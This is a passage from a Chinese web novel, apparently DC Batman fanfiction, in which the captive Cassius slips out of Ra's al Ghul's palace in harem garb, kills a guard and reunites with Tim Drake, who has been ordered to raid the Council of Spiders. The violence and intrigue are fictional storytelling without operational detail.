不过他没空干站着生气，利用这个空档，他迅速检查了浴室的环境，查找可能逃脱的路线。但这里作为拉尔斯的寝殿，每个出口都有重兵把守。 他必须另想办法。首先，他需要找到提姆，然后弄清楚拉尔斯到底在策划什麽。他可没有天真到以为拉尔斯忽然对自己产生了爱情，他要跟自己“结婚”，背后一定有其他目的。 卡修斯回想起拉尔斯在旅馆说的话——"发源地有太多有趣的回忆等着我们重温"。这句话让他不寒而栗。拉尔斯知道他已经恢复了记忆，知道他对刺客联盟的仇恨，却依然敢将他带到这里，甚至给予一定程度的自由。 这只能说明，恶魔之首有绝对的自信能够控制局面。而卡修斯必须在他最意想不到的地方发起反击。 卡修斯走下浴池，舒舒服服地洗了个澡。然后将那套华丽的纱衣一件件慢慢穿在了自己身上。 这期间，他已经制定了一个初步计划。他要扮演一个顺从的囚犯，先降低所有人的警惕。 等他走出来的时候，侍女的眼中闪过一瞬间的惊艳，但立即恭敬地垂下眼，而且看她神态，像是大大地松了口气。 “这套衣服很适合您，非常好看。”侍女走在他的身边，送他回卧室，路上忍不住夸赞道。 卡修斯的下半张脸遮在浅绿色的，镶嵌着碎钻的面纱后，听上去语带羞涩：“别说了。” 想吐。 他必须找到提姆，无论拉尔斯在策划什麽，他们都必须联手对抗。 剩下的时间，卡修斯充分表演了什麽叫做温顺，他好像真的沉醉在精致的物质满足和无微不至的照顾中，开始一心一意的期待着自己的“婚礼”。 等到夜幕降临时，拉尔斯的寝殿笼罩在一片诡异的静谧之中。 “主人今晚会来吗？”卡修斯问侍女。 侍女摇了摇头：“我们不被允许知晓主人的行踪。” 卡修斯盘腿坐在床上，肌肤在轻纱和宝石的装饰下非常有诱惑性，他又将袖剑和匕首大大方方地装备在身上，又给他增添了几分野性的美，害得侍女都不怎麽敢抬头看他。 “不知道他晚上来不来，那我该怎麽准备自己呢？”卡修斯歪着头，天真地问。 侍女偷偷看了他一眼，又脸红地低下头。她快速低声地说：“今晚您可以好好休息。” 卡修斯微微勾起唇角：“好的，谢谢你。” 说着他捧起侍女的手，作势要吻她的手背。 侍女触电似的抽回手，弹跳起来。 “您早些睡吧。” 她快速说完，立即逃跑似的离开房间，替他关上门。 卡修斯又在床上坐了一会儿，确认侍女离开后，他先把身上丁零当啷响的宝石和环佩拆了下来，然后悄无声息地起身，轻手轻脚地来到门边，将耳朵贴在精致的雕花木门上。 外面有两个守卫，从呼吸频率判断，都是训练有素的刺客，正门突破几乎不可能。 卡修斯转向房间唯一的窗户。虽然外面有铁栅栏，但他之前看过了，有一根栏杆有些松动。 他借助袖剑和自己随身物品中，没有被收走的金属丝，花了十多分钟的时间，终于将那根栏杆完全取下，制造出一个勉强能通过的缝隙。 夜风带着沙漠的气息涌入他的鼻腔，卡修斯深吸一口气，从窗口望出去。 拉尔斯喜欢将自己的“宫殿”依势而建，他从窗口望下去，下方是柔软的沙面，跳下去好像也没什麽关系。 卡修斯没有跳，他在房间里找了找，从立柜上拿起一个颇有些分量的摆件，先从窗口扔了下去。 摆件掉在沙子里，很快失去了踪迹。 很好，这座“宫殿”是被流沙包围着的，怪不得拉尔斯一点也不担心自己逃跑。 他又观察了一阵，窗子的斜右方几米外有一条狭窄的廊道，似乎通向建筑群的另一侧。 卡修斯轻松地翻出窗户，沿着墙壁凸出的装饰物攀爬，最终安全落在了那条走廊上。 走廊上似有侍者走动，卡修斯将下半身层叠的薄纱理好，忽略被风吹过感觉到凉爽的屁股，迎着向他走来的带刀侍从们，头颅微仰，眼神倨傲，把达米安那套用鼻孔看人的精髓模仿了个八九分。 第94章 什麽哈莱姆？老子是变化多端的史莱姆！ 侍卫看到一身绫罗沙锻的卡修斯，疾走两步到他面前，抽出腰间弯刀对准他。 “混账东西，我是什麽人，是你们能问的吗？”卡修斯冷声呵斥。 两人上下打量了卡修斯两眼，眼神又在他颈部的项圈上流连一阵，虽然没有收刀，但语气缓和了许多：“你是主人新的哈莱姆？*” 卡修斯不知道他们口中的哈莱姆是个什麽东西，但一听就知道不是什麽正经东西。 他微仰着头，垂眸看着面前两个侍卫，心里计算着毫无声息的将两人放到的可能性，说出来的话却带着一股不谙世事的跋扈：“知道还不滚开？” 两个侍卫对视一眼，卡修斯没有错过两人眼中一闪而过的轻蔑和鄙夷，但对着他的时候，态度依旧恭敬的挑不出任何毛病：“这里是军事走廊。还是请您移步寝殿，主人回来的话，自会去找您。” 卡修斯听懂了，这两人大概把他当作了拉尔斯床上的玩物。 “如果我一定要过去呢？”卡修斯问。 “那请原谅我们的冒犯。”说着，两人收了刀，伸手上来抓他。 卡修斯手指微动，绑在手臂上的袖剑“咔”一声弹了出来，两人这才注意到，他手臂上的袖剑并不是装饰，而且袖剑的末端居然还有高级刺客的标识！ 但因为害怕误伤卡修斯而提前收了刀的侍卫们已经失去了先发制人的机会，只在两个呼吸之间，卡修斯抬脚，扬臂，凭借着瞬间的爆发力和对方的疏忽，两招就制服了两个刺客。 他一条腿抬高，用脚掌踩住其中一个刺客的喉骨，将他按在走廊的廊柱上，戴着袖剑的那只手臂则直接将利刃贴在了剩下的那个侍卫的颈部。 “我能去了吗？”卡修斯凑近被他用袖剑贴着的侍卫问道。 那人没想到自己居然能被人两招之内制服，而且这个人还是自己看不起的玩物，一时间有些不服气，梗着脖子说：“军事重地，主人的侍妾没资格进……” 眼前一闪而过的寒光就是他这辈子看到的最后一抹景色。 喉咙被瞬间割开，卡修斯眼疾手快的抬起另一只手臂，垂在手臂间的薄纱广袖挡住了对方瞬间喷溅出来的血液。 解决了一个，卡修斯轻轻一推，人就向后软倒在了地上。卡修斯姿势都没换，就着用脚掌卡着另一个侍卫的动作转身，上半身凑近他，微笑着问道：“他说我没资格，你觉得呢？” 幸存的侍卫能清晰感受到卡修斯身上散发出来的杀意。也毫不怀疑，只要自己敢摇头，对方也会像刚才那样，毫不犹豫的出手柄自己给杀了。 他疯狂点头：“有有有！有资格！” 卡修斯满意的放下自己的腿，再次整理了身上这堆只有观赏性质，没有丝毫实用性质的薄纱——不对，还是有点实用性的，至少能帮他挡一挡敌人溅出来的血。 侍卫刺客有点懵，眼珠顺着卡修斯手部的动作移动。卡修斯整了整腰前的纱，又用手指顺了顺因为劈叉太大，卡到肉里的丝质短裤。整理到一半，终于感觉到好像有个视线一直在跟随自己的手。 他顿了一下，看到面前的侍卫正两眼放空的看着整理卡裆衣物的他。 “看什麽看？我不是拉尔斯的那个什麽……史莱姆吗？再看我把你的眼珠子挖出来！” 因为频繁卡裆而导致心情恶劣的卡修斯恶狠狠地说。 侍卫：是哈莱姆啊，史莱姆是个什麽东西？ 但他也不敢纠正，只好恭恭敬敬的垂下眼。 这位哈莱姆不但武力值爆表，精神状态看上去也十分癫狂。就像刚才，一言不合就动手，他的同事连个喊救命的机会都没有就噶了。虽然作为主人的侍从，必须拥有视死如归的美好品质，能好好活着，谁又愿意去死呢？ 卡修斯觉得自从进入刺客联盟的地界后，他整个人都相当燥郁。在这之前，他杀人可没这麽干脆利落，杀完更不会像现在这样，内心毫无波动，只觉得这麽大个尸体躺在这儿很麻烦，非常不利于他潜入这两个侍卫所说的“军事重地”。 卡修斯本想将自己这身碍手碍脚的纱衣换掉，穿地上这个侍卫的衣服，但对方颈动脉涌出来的血已经将衣领和前襟全部浸透，根本没法废物利用了。这会儿卡修斯才有点后悔，刚才冲动了，应该选个不那麽血刺啦胡的方式解决对方的。 但事已至此，也没办法让对方起来重死，就这麽大咧咧的横在这里也太引人注意，卡修斯眼珠子转了转，想到了埋尸的好办法。 “喂，你，把他给我扔那儿去。”卡修斯指了指楼下不远处的位置，示意那个幸存的侍卫将人处理掉。 侍卫敢怒不敢言，只好过去将人抬起来准备推下去，卡修斯还站在旁边指挥：“小心点，别沾上他的血，你还有用，沾了血的话我就只好把你也杀了。” 侍卫：…… 尸体被推到楼下，不到一分钟，就被流沙彻底淹没失去了踪迹。 卡修斯探头往下看了看，看着唯唯诺诺站在自己身边的刺客侍卫，又气不打一处来，故意找茬似的讥讽道：“拉尔斯知道他的刺客这麽没用吗？” 侍卫不敢为自己辩解。并不是他不敢反抗，只是刺客联盟级别森严，他袖剑上的鹰首纹章代表了高等刺客，他们这样的低阶侍卫根本不敢忤逆。 卡修斯也没等对方辩解，本来想问有没有见过跟他一起来的年轻人，但转念一想，这两个充其量可能就是小区保安，连他都没见过，更不可能知道跟他一块儿的人长什麽样。于是他换了个问法：“你们的‘军事重地’这两天有没有新面孔？” 侍卫想了想，老实的点了点头：“有。” 卡修斯心里忍不住吐槽，怪不得只能当保安呢，一点也不会揣摩提问者的真实需求。 于是他耐着性子继续问：“什麽样的人，描述一下。” 怕对方不明白自己的意图，他又补充道：“年龄，长相，或者穿着服饰，把你知道的看到的都告诉我。” 侍卫心虚地摇了摇头：“我们只负责守卫军事走廊，并没有见过这位新人，只知道主人非常器重他。” “那你带我进去。”卡修斯见问不出什麽了，直接提要求道。 侍卫为难极了：“可是……” 我只是守卫走廊的。 卡修斯懒得听他找借口指了指楼下的流沙：“办不到的话你就自己跳下去和你的门卫搭子作伴吧。” 侍卫止住话头，面容纠结地想了想，又瞄了眼卡修斯袖剑上象征着身份的章纹，最终还是咬牙答应了。 卡修斯满意地扬了扬下巴，示意他可以带路了。 “可是，等一下碰到其他侍卫，我该怎麽说？” 男人为难的问。 卡修斯凑近他，用拇指蹭掉对方脸上不小心被自己的袖剑溅到的血迹，非常豁得出去地说：“刚才你那个死掉的同事不是说我是侍妾吗，我这个侍妾恃宠而骄，再见不到拉尔斯我就活不下去了。谁问你，你就这麽跟他说。” 侍卫想了想，感觉这个说法也还行。以前不是没有过不懂事的侍妾不好好在寝宫待着，非要出来找主人的情形，只不过见到主人后，那名侍妾就被赐死了。 所以后来有那种上赶着找死的哈莱姆，大家象征性的提醒一下，对方要是一意孤行的话，也就随他去了。 走过七拐八拐的回廊，卡修斯越发觉得自己抓个侍卫带路的想法简直太机智了，如果让他自己找的话，说不准要走多少冤枉路。 一路上他们也碰到过其他巡逻的侍卫，大部分看到卡修斯垂着头跟在侍卫身后的样子，都以为这是主人的命令，并不会多问，只有一小部分跟男人熟识的其他侍卫，会好奇的问两句，也被用卡修斯告诉他的话术糊弄了过去。 “主人对新哈莱姆真是宠爱有加，竟然破例允许他保留武器。” “嘘，小点声，没看到他袖剑上的章纹麽？想要命的话少说两句……” 在遇到两个短暂同行一段路的侍卫时，他听到走在他们前面的两人压低声音悄悄交谈。 “难怪敢这样肆无忌惮地在军事区走动，哎，看到他腰后的标记了吗？那是……” “闭嘴吧，你不想要命我还想活呢……快走快走！” “站住。” 卡修斯开口道。 两人战战兢兢地停下：“大人。” 卡修斯说：“你们大声点说，我都听不清。” 两人面面相觑一阵，立刻就要给他跪下。 卡修斯也没拦着他们跪，居高临下地看着他们，问：“这个纹身怎麽了？” 两人埋着头不敢说话。 “我的耐心不是很好。”卡修斯弹出袖剑，又提醒了一次。 其中一人看了眼他的袖剑上的章纹，开口道：“主人曾说过，拥有这个纹身的人，将会为他诞下子嗣……” “住嘴，别说了。”卡修斯打断他。 耳朵不干净了。 如果这个侍卫说的是真的，那麽他跟拉尔斯，总有一个是疯了。他是穿越了，但很确信这不是一个男男生子的世界。 等等，超人家的生育宝典应该也没有这种功能吧？ 想到这个，卡修斯就感到一阵恶寒。严格意义上来说，康纳不就是莱秃和克拉克的孩子吗？ 卡修斯感觉自己整个人都不太好了。 他疾走几步绕过两人，一直跟着他的“俘虏”赶紧跟上。 看卡修斯脸色不善，他鼓足勇气才说：“大人，我只能送您到这里了，前面的议事区，我这样的侍卫未经允许是没有资格进入的。” 卡修斯抬眼看着他，侍卫看着卡修斯面纱之上冷淡的眼眸，吞了口口水，说道：“我进去的话，跟现在被您杀了也没什麽区别。” 卡修斯刚得知拉尔斯很有可能对自己怀有一些反智的企图，心情非常糟糕，确实很想再杀一个人助助兴。 不过他很快冷静了下来。 他是要去找提姆的，没有必要制造无意义的杀戮，还容易暴露自己。 “告诉我里面该怎麽走，指完路就滚。”卡修斯说。 侍卫一听自己居然还有生的希望，立即将自己知道的议事区的地形一股脑秃噜了出来。 卡修斯又简单问了几个路在线的问题，就挥挥手打算让他滚。 “别人问起和你一起巡逻的那个人去哪儿了，你该怎麽说？”卡修斯最后问道。 “他因为沉迷哈莱姆的美貌，失足踩空，掉进了流沙里。” “后半句可以，失足的原因可以不用编。滚吧。”卡修斯厌恶的瞪了他一眼。 捡回一条命的侍卫麻溜滚了。 卡修斯转身朝着走廊深处的议事区走去。 听刚才那个侍卫说议事区戒备森严。但事实上，他放眼望过去，目之所及的地方，居然一个侍卫都没有。 卡修斯抬头看了看，果然在走廊的走廊顶部的位置看到好几个摄像头。 他目测了一下每个摄像头覆盖的范围，估算出可能的位置死角，然后摸了摸自己脸上的面纱，垂着头走了进去。 他一边走，一边观察头顶，不指望不被拍到，只能说力争让自己尽量少的出现在监控画面里。晚一些暴露，也能给自己多争取一点了解地形和查找提姆的时间。 卡修斯终于在一间灯火通明的房间里发现了提姆的身影。 他们所在的房间靠着走廊的那边完全由玻璃组成，卡修斯贴着走廊和玻璃的边缘，举起袖剑，透过剑刃折射出来的镜像观察房间里面的情景。 提姆还穿着他那身制服，此刻正背对着卡修斯的视角，看向房间前的大屏幕。其中一块屏幕上显示的正是拉尔斯的半身像。 卡修斯看不到提姆的表情，只能透过反射出的背影看到他偶尔点头或者做出手势，应该是在和拉尔斯说话。 他的两侧站着两个男人，同样也是背对着卡修斯。其中一个人穿着中东传统服饰，另外一个则穿着常规的西装，一旁几排椅子上还坐着一些人。卡修斯将袖剑微微移动，想要判断那些坐着的都是什麽人。幸运的是，他在座椅第一排就看到了当初他们在沙漠里救下来的女刺客普鲁。 她的脖子上还缠着绷带，但人看上去已经恢复了。 卡修斯再看了几眼其他坐着的人，猜测这些人应该和普鲁一样，都是刺客。 红罗宾微微转动身体，露出他随意搭在屏幕前控制台上的手指。 没过多久，原本显示着拉尔斯的那个屏幕灭了，卡修斯猜应该是拉尔斯暂时下线了。 当时他在卧室的时候，他记得侍女说他今晚可以好好休息，也就是委婉的告诉他，拉尔斯今晚不去他的寝殿。结合现在他需要开视频会议的状态，卡修斯猜测拉尔斯现在应该不在这儿。 微微侧过半张脸的提姆正在快速说话，从他的肢体语言来判断，在这群人中，提姆应该拿到了一定的话语权。 卡修斯有点羡慕，但又有点生气。也不知道拉尔斯这到底是个什麽骚操作，为什麽提姆就能在军事区和其他人议事，自己就得在寝殿当那个什麽史莱姆？ 就在他心里还在使劲辱骂卡尔斯的时候，忽然注意到提姆露出来的手指一直在看似无意识的敲击桌面。可自己辨认就能发现，他其实是在向自己传递信息：“危险，不要靠近。” 提姆发现他了！卡修斯心里顿时有种诡异的自豪感。 不愧是鸭鸭侦探，感官就是敏锐！ 看来他从进来到现在都没有触发任何警报，应该是提姆一直在暗中帮他。 卡修斯观察了一下四周的环境，找了个适合隐蔽的拐角处，先藏了起来。 又等了一会儿，他们的会议终于结束了，房间里的人鱼贯而出，卡修斯将自己收到最小，屏住呼吸，力求在众多刺客的眼皮子底下销声匿迹。 所有的脚步声都越来越远，只有一个，在走远之后，顿了一下，又朝着卡修斯藏匿的地方缓缓走来。 卡修斯小臂微微抬起，对方一旦走过来，他就先发制人地动手，力求用最小的动静放倒对方。 他在心中缓缓数着步伐，就在对方还有一步，卡修斯就打算直接冲出去割喉的时候，突然听到提姆的声音。 “白幽灵，我有话对你说。” 那个危险的步伐停了下来。卡修斯听到了提姆的脚步声。 卡修斯听着提姆带着这个叫白幽灵的人渐渐从自己的藏身局域离开，无声地松了口气。 走廊里的刺客们走光了，卡修斯悄悄走出来，朝着提姆离开的地方谨慎的跟上。 他不敢跟的太近，始终和对方保持着一个转角的距离。也不知道提姆和对方说了什麽，两个人说话的声音渐渐大了起来，最后白幽灵冷声说了几句，转身离开了。 提姆在原地站了一会儿，脚步慢慢动了起来。 卡修斯继续保持安全距离尾随提姆——他注意到有两名刺客还在暗中跟随提姆，很明显这是监视。 提姆进入一个房间后，卡修斯等待了几分钟，确认监视者没有离开的意思。 他记下了提姆房间的位置，悄悄离开了这里。 卡修斯绕到建筑外侧，仔细观察一阵，终于找到了提姆房间的窗户。 像刚才离开寝殿那样，卡修斯如法炮制，扒着建筑外墙的凸起，爬到提姆所在的窗前，像猫一样轻盈地翻入窗内，落地时几乎没有发出任何声音。 但就在他站直的瞬间，一道淩厉的劲风直逼他的面门。 卡修斯本能地后仰，匕首擦着他喉咙划过，险些留下一道血痕。 卡修斯以为自己找错了房间，迅速展开反击。他的袖剑弹出，挡住紧随而来的第二击、 两个人的动作都快如闪电，在狭小的房间内无声地交锋。卡修斯在格挡下第二次攻击的时候，就确认自己并没有找错屋子，刚想出声叫他，就被提姆淩厉的攻势打断了。 他有点困惑，虽然他的服饰是抽象了点，脸上也遮着纱，但也不至于完全认不出吧。而且，如果提姆没认出他，刚才在议事厅房间的时候，又为什麽会给他发信号，还在那个叫什麽白幽灵的即将找到自己藏身之地的时候，即使出现替自己解围？ 卡修斯几次试图表明身份，但提姆的攻势太猛，根本不给他任何开口的机会。 他算是发现了，可能是刺客联盟这鬼地方风水不好，连提姆这麽热爱和平的罗宾（前），都开始放飞自我，一言不合就是干。 “是我！”卡修斯终于抓住一个空隙，低声喊道。 提姆的动作顿了一下，但很快又攻了上来：“你又是谁，拉尔斯派你来的？” 卡修斯明白了他的顾虑——刺客联盟中不乏易容高手，提姆不敢轻易确认他的身份。 看来非得打一架不行了。 卡修斯不说话了，先打吧。 虽然提姆出手干脆，但他下手却并不狠毒，每一招都留有余地。直到最后，他意识到卡修斯也在故意给他喂招后，猛地用力将他一把推到在两人身后的床上，自己顺势跪了上去，用小腿制住对方的膝关节，其中一只手按住他的手腕，将它们固定在了卡修斯的头顶。 “够了，转告拉尔斯，我对他的哈莱姆没有兴趣。” 卡修斯：…… 所以哈莱姆到底是个什麽东西啊！ 谢谢，已气晕。收回刚才在心里夸你是敏锐小侦探的话！ “什麽哈莱姆？老子是变化多端到连你都认不出来的史莱姆！” 卡修斯怒道。 他的面纱此刻正因为仰躺的姿势，贴着他的下半张脸，因为他的情绪过于激愤，说话的时候面纱一跳一跳的，非常滑稽。 提姆愣了一下，下意识地伸手掀开了身下人的面纱。 “卡修斯？” 他惊讶道。 卡修斯还在为提姆这麽近距离的接触都没认出他而生气：“谁？不认识，我是史莱姆。” 提姆又摸了摸他的脸和耳朵交接的地方，确定不是什麽人假扮的，才终于忍不住从上到下的打量了他好几眼：“你怎麽穿成这样？我还以为……” “你给我下去！”卡修斯挣扎了一下，但提姆因为对他的装扮过于震惊，还锁着他的关节没松开。 卡修斯又扭了扭，提姆这才意识到两个人姿势不太对，赶紧从他身上跳了下来。 卡修斯一获得自由，立即坐起来开始弄薄纱下的短裤，提姆看着他的动作，问道：“你……在干什麽？” 他以为卡修斯在那里藏了什麽东西。 卡修斯穿的这身翠绿色的薄纱实在遮不住什麽，所有的肌肤都被薄纱和宝石笼罩点缀的若隐若现，真能藏东西的话，可能也只有藏在那处唯一完全不透明的布料里。 卡修斯白了他一眼：“别问，问就是又卡裆了！” 第95章 看来你和我的哈莱姆很投缘 提姆的手指还残留着卡修斯面纱下温热的触感，但眼前这身翠绿薄纱和若隐若现的肌肤，配上对方此刻龇牙咧嘴，气急败坏地拉扯裆部衣料的动作，实在有点一言难尽。 “卡裆？”提姆的声音带着一丝古怪，目光下意识地顺着卡修斯的手看去——一小块浅绿色的绸缎布料正被粗暴地拽离某个尴尬的位置。 “不然呢？你觉得我能在里面找什麽？手雷吗？”卡修斯没好气的自嘲。虽然他将衣物上作为装饰的金线小铃铛都已经取了下来，但现在动作一大，布料边缘坠着的宝石也发出一些互相碰撞时的细碎声音，在寂静的房间里给外清晰。 他烦躁地啧了一声，终于把那该死的丝质短裤从令人崩溃的夹缝中解放出来，这才长长地吁出一口气，抬眼看向提姆。 提姆作为韦恩集团的执行总裁，表情管理是他的必修课程，在这方面，他也向来优秀。此时他拼尽全力回想公司里最棘手的事，企图保持严肃，但微微抽搐的嘴角还是泄露了他内心翻涌的荒谬感：“你怎麽……穿成这样？”他顿了顿，注意到卡修斯广袖上没擦干净的淡红色的印记，神情立即锐利起来：“你受伤了？” 卡修斯顺着他的目光抬起手臂看了看自己的衣袖，嗤笑一声：“这可不是我的血。我对拉尔斯应该还有用，估计他现在供着我都来不及，怎麽舍得伤了我。” 卡修斯一边说，一边将小臂抬起，在提姆面前转了半圈，让那身价值不菲，坠满宝石的纱衣随着他的动作在灯光下流光溢彩——要是他的表情不那麽狰狞就更完美了。 “所以这是拉尔斯给你准备的？”提姆确认道。 卡修斯说：“你怎麽也学会说废话了？不是他，难道还是我自己连夜缝制的吗？” “所以这到底是怎麽回事？”一向能从蛛丝马迹中找到线索的提姆也有些困惑了。 “谁知道那个老不死的憋着什麽坏呢？我醒来的时候是在一个装修的跟达米安的卧室差不多的地方，身边还有侍女，一醒来她就让我去沐浴。”卡修斯喘了口气，继续说，“我问她拉尔斯呢，她说他在准备婚礼，我还在想谁这麽倒霉要被一个活了600多岁的老妖怪嚯嚯，后来才发现原来新娘就是我自己的恐怖故事！” 卡修斯越说越激动，忍不住在提姆面前走来走去：“我去洗个澡，就被收走所有的衣服，只给我留了这身东西，我要是不穿就得裸奔！照顾我的那个侍女还说这玩意是拉尔斯亲自挑选的，用来侍寝时穿的。更奇葩的是，我来找你时听到巡逻侍卫说小话，说拉尔斯那个变态居然敢想让我给他生孩子！我@#￥%……&！” 接下来就是一大串切换成中文的辱骂。 “……什麽？生孩子？”提姆艰难地重复着这几个词，“你确定？会不会是有什麽误会？又或者是他另有所指？” 说到这个，卡修斯充满警醒的看向提姆，确认道：“我得先问问，你们这个世界男人不能生孩子吧？” 提姆：“……没听说过有这个先例。” “那就好。”卡修斯松了口气。 “我觉得……这里面也许真的有什麽误会。”提姆试着安慰对方，他觉得拉尔斯就算被拉撒路池泡坏了脑子，也不会出现想要男人帮他生孩子这种认知问题。 “误会？”卡修斯再次扯了扯自己身上除了“勾引”和“碍事”毫无用处的衣服，“看看这个，还有他的那个侍女，告诉我今天可以好好休息，因为她的主人在筹备婚礼！怎麽？婚前不能见面？没看出来那个老妖怪还怪讲究传统的。” 大概是压抑的太久了，卡修斯越说越激动，他在原地暴躁地转了个圈，提姆就眼睁睁的看着他下半身那块不透明的布料因为他过于急躁的大动作，又有往中间窜的趋势。 想提醒他稍微冷静点，但又觉得开不了口——如果是遭遇这个的是自己的话，大概他也会暴躁到想要杀人。 疾走了一会儿的卡修斯忽然停住脚步，脸上的表情非常邪恶：“最好是误会，如果他真的对我有这种反人类反科学的龌龊想法，我拼上性命也要揪掉他的鸡儿！” 提姆：…… 他盯着卡修斯看了几秒，确定他的精神状态虽然濒临爆炸边缘，但神智还算清醒。在最初的荒谬感过去后，心里迅速升起警惕。恶魔之首行事绝不会无的放矢，如果卡修斯说的是真的，拉尔斯真的想要“娶”卡修斯，背后必然隐藏着其他图谋。 “卡修斯。”提姆按住他的肩膀，阻止他继续在原地转圈。 卡修斯停下来，想要把按在他肩膀上的手挥开。 “别害怕，没关系，我在这里。”提姆将声音放缓，安抚道。 他从没见到过卡修斯这麽心神不宁的样子，很显然，这里的环境让他产生一些不好的联想，可是又想努力在他面前保持克制，所以才会变得如此暴躁。 虽然提姆没有明说，但卡修斯已经开始跟着他的节奏，慢慢调整呼吸。 直到将心里的焦躁感压下去一些，他才后知后觉地感到有些羞耻。他来找提姆明明是有正事问他的，结果说了这麽久，都是自己在宣泄情绪，没有问任何有意义的问题。 卡修斯快速反思了一下自己，然后终于转向正题：“你刚才是在和刺客联盟的高级干部开会吗？拉尔斯想让你做什麽？没有为难你吧？” 提姆摇了摇头：“也不算为难，他给了我一个‘任务’。” “什麽任务？”卡修斯警惕地问。说到正事，他感觉自己冷静的更快了。 “突袭蜘蛛议会。”提姆如实回答道：“议会的杀手们杀掉了许多联盟安插在世界各地商界和政界的干部，这次在巴格达的行动，是他们唯一失手的一次。拉尔斯认为这是对刺客联盟权威的挑衅。” “他想让你去对付蜘蛛议会？”卡修斯皱着眉，肃声问道。 提姆点了点头：“我和普鲁是在议会杀手偷袭里活下来的幸存者，拉尔斯希望我能带领刺客们进行反击。” “你带领他的刺客？”卡修斯挑眉，“他信得过你？” “他不需要信得过我。”提姆假笑一声，眼神瞥向卡修斯颈间的项圈，又意有所指地看了看窗外黑暗的走廊，“关键在于，他手里有足够的筹码让我‘听话’。塔姆，还有你，现在都在他的掌控之下，我拒绝，或者任务失败，后果不是我能承受的。” 卡修斯沉默下来，他摸了摸自己颈部的项圈：“你不用顾及我，我对拉尔斯还有用，他不会轻易杀死我的。” 提姆抬起手，粗糙的战术手套粘贴他的唇：“这种话不用再说，我不会抛下你们任何一个。” 卡修斯抓住他的手腕轻轻放下来，笑着说：“我知道。” “你知道还……”提姆的表情不太好看，“我的意思是，你想做什麽，就去做，不用因为我而投鼠忌器，你甚至可以告诉我，你想要做什麽，我可以尽最大的努力帮你。” 提姆看着他没说话，卡修斯继续说：“提姆，在这里，我不是你的软肋，而是你的利刃。” 提姆有种奇怪的感觉，觉得涌向心脏的不是血液，而是蜂蜜，他安静的注视了卡修斯一会儿，才轻声说：“我明白，所以，我问他要了刺客联盟的最高权限。” 卡修斯看着他的眼睛，听懂了他的意思。 拉尔斯用他和塔姆的安全做筹码，逼迫提姆听话，提姆则反过来利用这一点，问他要到了能调动联盟资源的最高权限，这里包括人员权限和电子数据权限。 拉尔斯太自负了，笃定提姆不敢以塔姆和卡修斯的安危开玩笑，所以放心的答应了他的要求。 “我知道你能照顾好自己，也能替卢修斯照顾好塔姆。”提姆说。 卡修斯听出了他的言外之意，他应该会马上离开发源地，去执行突袭任务。 “你们什麽时候出发？” “明天一早。”提姆说。 卡修斯有点困惑，这麽早就走，那提姆在发源地这里的部署来得及吗？ 提姆从他的眼神中看到了疑问，直到卡修斯大概弄清了他要得到联盟最高权限的目的。 他拿出平板，手指在屏幕上划过，调出几个人的数据，其中就有那个穿着中东传统服饰，眼神阴骘的男人。 “白幽灵是这次任务的监察官，普鲁作为我的副手，明天我会带走刺客联盟所有的精锐，争取在蜘蛛议会还没反应过来的时候，一举重创他们。这个设备，由你来替我保管。” 提姆说着，滑走他们正在看的屏幕，调出另外一个界面，上面显示着刺客联盟在世界各地的控制中心的监控画面。 卡修斯的心猛跳起来。 他再次回忆起自己看过的剧情，提姆通过发源地控制中心的权限，篡改了刺客联盟分布在世界各地的控制中心数据，最后引爆摧毁了发源地，同时重创了刺客联盟的每一个分部。 “我需要你在这儿照顾好自己，还有塔姆。”提姆说。 卡修斯点了点头，将他递给自己的平板收好：“还有呢？” 提姆凑近他的耳朵，压低声音在他耳边悄悄说：“拉尔斯虽然不在，但‘特派员’会镇守在这里，他谨慎又精明，虽然我编写的篡改程序会运行的很隐秘，但保险起见，我需要你弄出点动静来，分散他的注意力，让他不要把所有的精力都放在控制室上。” 卡修斯点了点头，表示知道了，作妖嘛，这是他的舒适区，绝对把那个什麽特派员安排的明明白白的。 不过，在他看来，最好的办法就是神不知鬼不觉的把这个特派员给杀了，这样一劳永逸。 不过想到这儿，卡修斯隐约记得，自己熟悉的故事里，这里确实有个代号叫特派员的人，只不过印象里他好像是个炮灰式的存在，没活过几个格子啊…… 卡修斯忽然顿住了。 他想起来特派员是怎麽死的了。蜘蛛议会的精锐杀手避开了提姆率领的刺客队伍，直接偷袭了发源地！特派员被其中一个用蛛网的杀手直接毒死了。 卡修斯从脑海深处挖出一些自己曾看过的画面的碎片：提姆带领的精锐刺客们确实重创了蜘蛛议会，但付出的代价也是相当惨痛，除了提姆，普鲁和白幽灵，其他刺客几乎和蜘蛛议会的杀手们同归于尽了。 提姆俘虏的杀手嘲笑提姆还是棋差一着，这时，提姆才反应过来，议会最顶尖的杀手他们一个都没遇到！ 因为蜘蛛议会最顶尖的杀手全部去了发源地。他们打算趁发源地精锐空虚的时候，直接杀死恶魔之首。 卡修斯的心脏不规律地狂跳几下，在想起这些的瞬间差点从喉咙里跳出来。 他张了张嘴，原本想要委婉的告诉提姆，让他留些刺客在发源地，但话都到了嘴边，他忽然改了主意。 不能说。 一个冷酷的念头压倒了所有冲动：这确实是削弱刺客联盟千载难逢的机会！ 发源地的精英们都是拉尔斯精心培养的，但经此一役，这些内核力量会被消灭。 虽然提姆他们也会经历一场艰难的战斗，但他会活着，普鲁也会活着。 发源地被攻击，这正是他和塔姆脱身的好时机。 “卡修斯？”提姆明锐地察觉到他的走神，怀疑地问道，“你是不是又想到了什麽？” 卡修斯强迫自己的表情松弛下来，甚至挤出一个带有安抚性质的笑容：“没什麽，只是觉得这次任务并不会很轻松，蜘蛛议会的这些杀手们可不比阿卡姆的罪犯好对付，你一定要非常当心。” “我会的，议会的顶级杀手不好对付，否则也不会轻松杀掉刺客联盟那麽多人。”提姆点头，接着又看向他，“不过留在发源地的危险性也不比我低，你也要当心，还有，保护好塔姆，她只是个普通人，不该被卷到这种事情里来。” “你放心，我答应过卢修斯，会安全将她带回去的，只要我还喘着气，就不会让她出事。” 提姆深深地看了卡修斯一眼。总觉得他刚才一瞬间的反应不对劲，那绝不仅仅是担忧。 但他此刻无暇深究。卡修斯的承诺让他紧绷的神经稍微放松了一些。 现在在刺客联盟的地盘，因为担心被监听，许多话只能点到即止，所以这个话题到这里可以算告一段落，卡修斯问起另外一件事：“你是不是已经找到了布鲁斯的线索？” 提姆点头：“嗯，等解决完这件事，我们立即回哥谭。我需要把这些线索集成一下，然后想办法和正联一起，将布鲁斯带回来。” “拉尔斯帮你，也是为了第一时间得到布鲁斯的线索？”卡修斯确认道。 